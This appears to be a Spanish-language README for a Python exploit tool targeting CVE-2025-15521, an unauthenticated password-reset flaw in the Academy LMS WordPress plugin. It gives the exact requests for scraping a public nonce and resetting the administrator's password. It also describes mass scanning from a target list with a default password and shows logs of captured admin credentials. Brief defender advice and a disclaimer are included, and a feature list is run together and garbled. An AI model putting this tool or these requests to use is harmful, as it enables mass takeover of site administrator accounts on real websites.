
El plugin The Academy LMS – WordPress LMS Plugin for Complete eLearning Solution para WordPress es vulnerable a la escalada de privilegios mediante la apropiación de cuentas en todas las versiones hasta la 3.5.0, inclusive.
El plugin Academy LMS – WordPress LMS Plugin for Complete eLearning Solution para WordPress es vulnerable a la escalada de privilegios mediante la toma de control de cuentas en todas las versiones hasta la 3.5.0 inclusive.
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ |
| --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_
|_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____|
📡 Sigue a @KNxploited — divulgaciones de CVE y exploits funcionales, sin demora.
CVE-2025-15521 — Toma de control de cuentas sin autenticación mediante el restablecimiento de contraseña en Academy LMS ≤ 3.5.0.
El manejador de restablecimiento del plugin autentica la solicitud usando únicamente un nonce expuesto públicamente (academy_nonce) incrustado en las páginas de los cursos. No se envía ningún token al correo del usuario. No hay comprobación de sesión. No hay validación de identidad. Un atacante que lea cualquier página de un curso obtiene un nonce válido y luego restablece la contraseña de cualquier cuenta suministrando un user_id — incluido user_id=1 (el administrador del sitio).
CVSS 3.1: 9.8 Crítico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA: Wordfence
GET /course/any-course/
→ El HTML contiene: "academy_nonce": "a1b2c3d4e5" ← público, sin autenticación
POST /academy-retrieve-password/?user_id=1
new_password=<cualquier cosa>
confirm_new_password=<cualquier cosa>
security=a1b2c3d4e5 ← nonce aceptado
→ La contraseña de user_id=1 ha cambiado. Sin correo. Sin confirmación.
El manejador llama a wp_set_password() después de verificar únicamente wp_verify_nonce() con un nonce que se transmite a todos los visitantes. No hay ninguna comprobación de que el usuario solicitante sea el dueño de la cuenta que se está modificando.
academy_nonce válidouser_id objetivo con una contraseña elegida/?author=N y la API REST (/wp-json/wp/v2/users)wordpress_logged_in/wp-admin — no solo una respuesta 200pip install requests colorama urllib3
Se requiere Python 3.8+. Se recomienda Python 3.10+.
python CVE-2025-15521.py
Se te pedirá lo siguiente:
Archivo de lista de objetivos (una URL por línea): list.txt
Hilos (sitios concurrentes) [5]: 10
Ruta del manejador de restablecimiento [/academy-retrieve-password/]:
Ruta raíz de cursos (fuente clave) [/course/]:
Máximo de subpáginas /course/ a escanear por sitio [15]:
user_id a restablecer (objetivo del manejador) [1]:
Nueva contraseña a establecer [adminSA]:
Tiempo de espera HTTP (segundos) [10]:
Archivo de salida [scan_results/academy_access_success.txt]:
Archivo de objetivos: una URL por línea, el esquema es opcional:
https://target1.com
target2.com
https://target3.com/lms
Terminal: una línea por objetivo, sin credenciales impresas:
[14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT
[14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT
Archivo: solo entradas de acceso confirmadas:
[2025-04-18T14:02:11] https://target.com - cuenta=admin contraseña=adminSA
Para defensores:
Bloquea o monitorea las solicitudes POST no autenticadas al endpoint de restablecimiento:
POST *academy-retrieve-password* con el parámetro: security=
Revisa la exposición de rm_admin_order / academy_nonce en el código fuente de las páginas de curso de tu tema. Si el nonce es visible sin haber iniciado sesión — tu versión está afectada.
Pasos de corrección inmediata:
Esta herramienta es solo para investigación de seguridad autorizada y pruebas de penetración.
Ejecútala únicamente contra sistemas que te pertenezcan o para los que tengas permiso explícito por escrito.
El autor no acepta ninguna responsabilidad por uso no autorizado o ilegal.
El uso no autorizado viola la CFAA, la CMA, la Directiva 2013/40/UE de la UE, la Ley Antidelineuencia Informática de Arabia Saudita No. M/17 y las leyes equivalentes en todo el mundo.
Por Nxploited (Khaled Alenazi)
t.me/KNxploited · github.com/Nxploited
🔔 Sigue a @KNxploited en Telegram para conocer los últimos CVE y lanzamientos de exploits.